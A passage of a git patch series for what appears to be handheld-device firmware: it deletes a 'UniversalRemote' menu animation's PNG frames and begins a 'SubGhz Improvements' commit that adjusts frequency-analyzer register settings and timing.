zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_03_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_03_delay-0.04s.png deleted file mode 100644 index 1ece97a6f2ea99c186f3abaf446df51e4131a8ed..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 411 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y*we)^gyXvDxs6^ zX1}o7BUm1N#M;7y%TXZdv!qIUvy78f{Net`#(VSiE#6u$DLTO$_B-0-X?9wz`5}MZ z;y*?G?|Frm&7SrxcUI*ZId-0TtCW?d-R|hKdAa7?@fa8(W#0Y8x0>0nz7I_fRzC=BH$)RpQp*y)GyTsDZ)L L)z4*}Q$iB}Q}~Lk diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_04_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_04_delay-0.04s.png deleted file mode 100644 index d85fa6ebca3cf45527524850e696081f1aadb738..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 401 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)6>N`%O z`W>G#!(83(tc_vbs!5w}xfq3Ityp_PqK$8tfy&~l_yb8%ORsc080_lbw%+>5?ej+} z_WW7lyr*9M`Gn^WZ5-dbl`}kUs(<6Cx9{TC?`A+ps+PD$l%ynG diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_05_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_05_delay-0.04s.png deleted file mode 100644 index 1f5ff11cbc23d74343a5b6a6ad1dc61b9d44f0e3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 397 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)zif>gyXtyzadw%0|SdY@A86qt*!O}0-w0Fop=2)T@w7q znTu0nlACX0X{Je1*Y2VjvC~TV9&BcgW17?8uG*Mi$S9s+F3D1qy*6}vaYx-g1GDTj z#b;`pU$k33S(sn2*1KU-+(FibVhygG!g^Y~yR>q)ce_hGKF7!F_y5`Pgo(*Ji)}YN z4Dk;%c_~tGhPD5$cZ0o+pMK_3ZMH(716500BT7;dOH!?pi&B9UgOP!ek*w=Pi8W=oX{an^LB{Ts5*Ts1t diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_06_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_06_delay-0.04s.png deleted file mode 100644 index 8fbf8625c14e9522cbcf2bbaf5a9c59a43c2ae08..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 400 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H!_&nvgyXtyzdm=f1B3hgjr%1Lpc_?7Tq814Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H$J50zgyXvH`TeUM3mF_f_UqqW{Z8psp3jt|FX|ia>_0qz z#r6rVGw&x=Xm+}uI`Q^Yzj=(Lf4aroQ_|DbSLt5aFhhNZ-!Yb)PZnK|YCdm#Tliiz z=l_&#JG)PGw}~w&oahjAWaR>DTe$}XbIMq)ZpyxkT+Z`% zS7Lrh(npK`C)RECFP|`9syEoq;puLLqxM!Udb;y1?RtRjR4s9hC`m~yNwrEYN(E93 zMg~Skx(24Yh9)5frdGzrR;H%f1_o9@^!e326b-rgDVb@NxHWjM3rYfNVDNPHb6Mw< G&;$TK5sjVz diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_08_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_08_delay-0.04s.png deleted file mode 100644 index f3724bbde1a247fc66caf5a56bf8b2facbd30303..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 414 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y%+tj&gyXvISw+640GR_1=ljPMMcixK%siJl!}OJ>4P*F2 z3AWkF2HeKVjBbUOHy)gE)cmKkLEX#QoHw3}�D?c`#+yfep4kI+1-V7N$JPl8^fG z_t*08ZijC(i_}h%W|*vQyQ;6(o~dVFXZBMzUMYvmEbEMpugKUqZCghlo1mxmNu!lP zf`tvyq4hgV?xuC+9G@AR&dAzwID2CSucCqQ27ZQXQgz$DIQc)X5|swJShd78q9i4; zB-JXpC>2OC7#SED=^B{o8k&R{m|7VdTbY__8yHvt(dSq9P&DM`r(~v8;@053E+`48 Ofx*+&&t;ucLK6U|y@bmE diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_09_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_09_delay-0.04s.png deleted file mode 100644 index ff34450d944f74517bd986e51df5c6c683462183..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 427 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+0(@_gyXvISwpYG0SpWmrauwZaa-FVd!$3xs;sD3tKaWt|zHpXfhvfE;SNCUFZeA&Ec%_TRt6bt-1zFmJ+ z)RcX1gQK0omPAixH{#i)<&;glJzGZ z8kMb+TfP?PeAN=yh?11Vl2ohYqEsNoU}Ruqq-$WRYiJT;U}|M-Y-MVyZD3#pM4w;X eL(!0%pOTqYiCcsBx}YSW1_n=8KbLh*2~7Yaw3eL! diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_1.png b/assets/icons/MainMenu/UniversalRemote_14/frame_1.png deleted file mode 100644 index 8d135853f5ec8f6905074e662b76e8d2bdd4535b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 170 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}DV{ElAsQ36 zPO|1ZV8G$bd+P7{H-0W0H#4oi^d6~6;+WK;pv1uNO!DO0T9!xIDu1PfUK=WxLI)A-h;@|GLAog4MsTe0*o-BgT3T7g19- SlL14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+0(@_gyXvId3$cgLYan-&(FPo@kf1n&=j3b5jS$;Is@I_ zyJ^NX98Fkorb|UK=U?vef+@o5_O%(;ZF_!^C9j&{lw`nx4>ICg+!wySd~TWJO|ym$ z9~nWxbR8wDm>6M&k2f36ZTkL+;m(T;#|1`j*LWK~u*&~>xay*fYZJqgbIX>#I_h|- zpmB+5_H&bicdNJ;d|ZH#L1(v+uUO_QmvAUQh^kMk%5tsu7Rnpp-G5=sg<#@m8q$=fq@keeSUQh eMMG|WN@iLmZVle+f|7t57(8A5T-G@yGywp`fS8s5 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_11_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_11_delay-0.04s.png deleted file mode 100644 index 9420c763fffc590092d0d55b554f30feeceb6cd8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 426 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y$*;`j_m2`=xLvC`eLVAarIT5gpD*Z)hk@=M~ldAUB-)a1K z_oN?}{N<^Feb1z;gADFOoz>kR?|=JPO4uFiKWn$XDHpEX?!fg*UACUj>mOqvyOZ9L zBT1D&*Q=JeMwFx^mZVxG7o`Fz1|tI_BV7YiT|<))15+zwV=GfrZ36=14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y-P6S}gyXvEIYaH1LK%h!&;P%F7w7uw(pRaJz)3n{_YXc2 zzQMEUw~^aZ<`Yw&uH#W-lhojBE;(BLuB&9?AD;I=a{RegS#P+su<`Ko$Qqq@*VjCI z?o_p2L21|Gj*dWcC8Om#dEc%~-t_Nl0ng)y&hd8d-|qEI__XQr?h~noCmiHNQoDXH zzIs-y?%cX<(}Q=&PF25AH8*m4Q}fc7Z{EKy+@5DsD>mJ1pSG#^tj@5_4qU6GdG}wl z`ok>r$H{H-rWJNTFQ}HdMwFx^mZVxG7o`Fz1|tI_BV7YiT|<))15+zwV=GfrZ36=< jAo~339*TzC{FKbJO57T}*99d3H86O(`njxgN@xNAcITV8 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_13_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_13_delay-0.04s.png deleted file mode 100644 index e9527fa833491eff3316cd410a901508344f1179..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 424 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y$YVmxV$pEMJR$-=0RQDmEJEGEez`JuDH25=U{}d1EyNU3=Kf%IJ?Y|` z8Q3lcbiHbcYeY#(Vo9o1a#1RfVlXl=GSW3L)ipE;F)+0cptHiCrdtFcxPy>UftDnm{r-UW|_-&5! diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_18_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_18_delay-0.04s.png deleted file mode 100644 index 2109273f0538a073ab31357ea73ca5d6ef928442..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 418 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y%G1R$gyXvE*@a%ri3|)6-v8hDPlrb)T@IPZ3eYKokH`;F`Tf204uo4&4o)<4s-CmB5xGVNXGem-K)sAc8lE8^e}bhT=U zYeY#(Vo9o1a#1RfVlXl=GSW3L)ipE;F)+0cptHiCr TdtFcxPy>UftDnm{r-UW|SWb=} diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_19_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_19_delay-0.04s.png deleted file mode 100644 index 0c7e9eaa9acfc11c5ba98495c64feb772ce07b6b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 419 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+SA1`gyVYX`Hfsn4h#(s|MyKkFe^%?g-v|vx2(=%w-zmb zF|&#({=mX*3zjajJmSg1&Z>N(&H1I&9I5{=AB(fiS`@nF)J6x!i)fnra&uSOL-JSNBjf;M1& diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_2.png b/assets/icons/MainMenu/UniversalRemote_14/frame_2.png deleted file mode 100644 index 24c349ead5a777f2be43ed17b96ef15b58e20cc4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 165 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}@t!V@AsQ36 z208K_FyLUi{J(zY++7mOubN1zCm$4=GO2|{g^}T?@f(${Qtdejsb^2cY4?2FmdKI;Vst0H}aDT>t<8 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_20_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_20_delay-0.04s.png deleted file mode 100644 index 4c283af6cc3dd76ef888f62b770519219a2d79d2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 425 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y(bL5-gyXtypCLD6B7?*IxsN?wc6q!sk~os2$QBu)`>(0~ zLHXSxH#OCygu+0tSFgG^Y1E#oJy&q=SKIe30u>qx(^z>D%>0?x|6?dQFgZ;r(d&Ia z_ugCLcdePCPH1JQHGaSLV!>m*BfJmP#Pl|P%G`ANDdT^uGQC}ES?XIhZT;}TyM(P^jg7!02l4F2+--9u6g;Q}?C*+$5EIK(@i=1M}oG>y=+$ zUJ3;|UbVzEq9i4;B-JXpC>2OC7#SED=^B{o8k&R{m|7VdTbY__8yHvt(dSq9P&DM` ar(~v8;@053E+`48fx*+&&t;ucLK6UXX_27- diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_21_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_21_delay-0.04s.png deleted file mode 100644 index 750aec1627b2bcb3a822647a39c185312a4276f8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 415 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+|$J|gyXvIxs6;+0U`|#@1J&^(qYiFd#jb_Wc>>QzI#*k zFHABq`NGCq&d1WOAn;bLiQUh+*8hVm*A}K5JR1&tHDb2gtt)Y${l=||4-QKT;w>KB z%st@nK6ci!m7i@Tp4{kVNG=!QnR+I>p-NAbP27V)sOfNk*jXvTYrcU^uS%r9)LeUL zw$hF3YPRX5Jz>A^zf%0z>HPcI_EXNAW6Tu)ug^HDWX8O2x{C8O)?mIIpp#WgTq814Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H*VDx@gyXvIxxHD30vH-DKK8xB9Tc-g_6}=$yn_|%uRTue zFQrAo+w+vFrYigsQ8Bryc<%m(xz}XdrEUsX+U>9UQLE1p5xVhq?^Uj~*7w)v|986O zKYLeXdD5FT<{WRP3D3|eXAxU0^XX#Kfd|*xzU4Y3gykhhpW`_4Xw9lQ-8T&Srng)^ z9sKoi{=3CKXHWc?_3LkmtbHh7>9TWe6$~!5#&P9~w%i0dRJFu4q9i4;B-JXpC>2OC z7#SED=^B{o8k&R{m|7VdTbY__8yHvt(dSq9P&DM`r(~v8;@053E+`48fx*+&&t;uc GLK6TW7K_OM diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_23_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_23_delay-0.04s.png deleted file mode 100644 index 17007aad5b72394efd0dc44c1695aa84df0dbba8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 394 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H$RT|6Y<(mnr^A%=$9Fa`m*%uN!`D-e>!} zB&zh{QtgRLxescKOyrM!rQKXPsvQH#I3=5T~HEG1B0ilpUXO@geCx6DTF`( diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_24_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_24_delay-0.04s.png deleted file mode 100644 index 4c03a8101928e3271e518ca78035200e788ad972..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 401 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)6>Nq6`gxmuO$_jb>;+NNMOnR8l6h2;5yokve>Wxd+das69i$e*y^XWk!`dFlSFXuI3z zwuWB@1~RWYr&~>Y<(+mtC-HU(OVCZna5bi<&p3|z&b)o^z=HX1%a@;LuRq;C{mkv3 zukRMu&vsj_!BW_o^yJpP#no%l{xExO(qWTKIK2kwNYxV8h?11Vl2ohYqEsNoU}Ruq zq-$WRYiJT;U}|M-Y-MVyZD3#pM4w;XL(!0%pOTqYiCcsBx}YSW1_n=8KbLh*2~7a5 C2#f>( diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_25_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_25_delay-0.04s.png deleted file mode 100644 index 334498adcefb0195df99757781c744a567450337..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 401 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)6>N54HEbeSUg?YOYrz7>ylu^-mseD<8D|KFNtYrh9~{>#rQTgEIC z-Z4?1tLv!3hBMJyK5csT)S&U?LnohUcOK45IkM%rcSPUqg}&TfTX+^w=Pi8W=oX{an^LB{Ts5 DS00MI diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_26_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_26_delay-0.04s.png deleted file mode 100644 index b203dc30275055bbe87d8475ad1ffff70af7a57e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 404 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H$J50zgyXvIS;MSD2@DMvrzglTm1(G4RlVT5VRch;`v<+f z0s0AH=O1JVd&#z}n-=87@keWkv(dh%zZdnLW}lJX^WodqhW(GWKL7q^qwwE9uV&`Y zFVquE4&1io>7w)%(==ah;yUu?GH=c$Tf<6W1rtld*E#IFbM7uzyY8^VudT?`_UhM_ zE86lc>g3ksB|ZoiGV~L2k)2+yT&^$q|5>y?lk&ab2%tMvOI#yLQW8s2t&)pUffR$0 zfsv7}fvK*cNr-`|m9epvsj0SsffW#aesvE;LvDUbW?Cg~4c_a5l7Jc*JYD@<);T3K F0RT@yh=2e9 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_27_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_27_delay-0.04s.png deleted file mode 100644 index 3e17c6c76ba81c56c52edd21147e6b1d5e692607..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 410 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y$kW9!gyXvIS;MSD2@(wt)mMHhe-*%S@Tf0G$y-*NCi4#h zdmG$ea&FpT&21%BBFdt;RK(GssYdqE51se3S>MWqurk-k-!G7?|N2LAZ~L3?{^u{| z^d$Gngx(0LmpaKffBJ@;=TDZL+`4$TUr_wL zY3<7_r`&%2eV=4r&9T2Hl~VV(HR@!P$Jx|~{9$%au$)14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_29_delay-0.04s.png b/assets/icons/MainMenu/UniversalRemote_14/frame_29_delay-0.04s.png deleted file mode 100644 index 479fbd58b591c8277f06ec1225ee29ee095c8564..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 411 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_3.png b/assets/icons/MainMenu/UniversalRemote_14/frame_3.png deleted file mode 100644 index c64bad5f2f2f43005e57613bf0acf6e743a64c90..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 171 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}sh%#5AsQ3s zPV(eCpuoeNd*y$9Wz{05iNP7qCFZcIvjrU3rn0i~+KWjHjQ)+ML>GG>@0)R>cf0SJ zyFm-HMbFuXKI~b$YhsIaPI|b%ME;Cviq-JoMr6)F8KJa%}03m2|J2P TGp2k4TFBt(>gTe~DWM4fkSaY6 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_4.png b/assets/icons/MainMenu/UniversalRemote_14/frame_4.png deleted file mode 100644 index efd7181f0a36490d555a6e16df3bf2c457d592f2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 168 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}NuDl_AsQ36 zP735ZpupkG{qbM;yL|>NTh8g+{C$LJtCR|-qYDGW8N*Aa6Io8$CTvRCnp<+hE&cu0 z!o1+-F!5`1mu<+3o$gh!i0wp3{)ylxUAfV<4X+E-_S+r*UJ$Y|zhIkujl7+h)rISO QfVMGsy85}Sb4q9e00DD6_y7O^ diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_5.png b/assets/icons/MainMenu/UniversalRemote_14/frame_5.png deleted file mode 100644 index 300f00128d067e358fc954204533468eb5efd495..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 169 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}$(}BbAsQ36 zPO{`~duFbQL9S`u-Lk+<4WXrnW^n{sChumK=w57N>#ps$@6P(ZD&ynqR>F>=Ql-zl QfYvd1y85}Sb4q9e0N5=zEdT%j diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_6.png b/assets/icons/MainMenu/UniversalRemote_14/frame_6.png deleted file mode 100644 index 24c349ead5a777f2be43ed17b96ef15b58e20cc4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 165 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}@t!V@AsQ36 z208K_FyLUi{J(zY++7mOubN1zCm$4=GO2|{g^}T?@f(${Qtdejsb^2cY4?2FmdKI;Vst0H}aDT>t<8 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_7.png b/assets/icons/MainMenu/UniversalRemote_14/frame_7.png deleted file mode 100644 index d41a66495a6bc1e308e97112671d73ddc495f5e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 166 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}37#&FAsQ2p z208K_FyL_7{J(zY+=y9hQTdOrga|f?c^+D@ih*HakDtmUg`d1PKHj+RYIsm+@?P!2 z@Z#pE-mEgQ>$C2yRah2~V0M-Bm&nd$nQ7Jyo)-3Nl~>N2viR!liTkDdEL8s-*gX$u O7lWs(pUXO@geCx08#~tk diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_rate b/assets/icons/MainMenu/UniversalRemote_14/frame_rate deleted file mode 100644 index e440e5c84..000000000 --- a/assets/icons/MainMenu/UniversalRemote_14/frame_rate +++ /dev/null @@ -1 +0,0 @@ -3 \ No newline at end of file From 454e18252f196b5c8c0dc5da0d1d7f4d670eb5d0 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 23 May 2022 18:38:53 +0300 Subject: [PATCH 198/461] SubGhz Improvements fix start duration came_atomo protocol, fix freq. anal. scan speed, add 310mhz, deleting a TMP file using the "Erase" button in Read RAW, --- .../subghz/helpers/subghz_frequency_analyzer_worker.c | 6 +++--- applications/subghz/helpers/subghz_testing.c | 3 ++- applications/subghz/scenes/subghz_scene_read_raw.c | 4 ++++ lib/subghz/protocols/came_atomo.c | 4 ++-- 4 files changed, 11 insertions(+), 6 deletions(-) diff --git a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c index 88e2a621c..93a3ed86f 100644 --- a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c +++ b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c @@ -82,7 +82,7 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { cc1101_flush_tx(&furi_hal_spi_bus_handle_subghz); cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, CC1101_IOCFG0, CC1101IocfgHW); cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, CC1101_MDMCFG3, - 0b11111111); // symbol rate + 0b01111111); // symbol rate cc1101_write_reg( &furi_hal_spi_bus_handle_subghz, CC1101_AGCCTRL2, @@ -130,7 +130,7 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); // delay will be in range between 1 and 2ms - osDelay(2); + 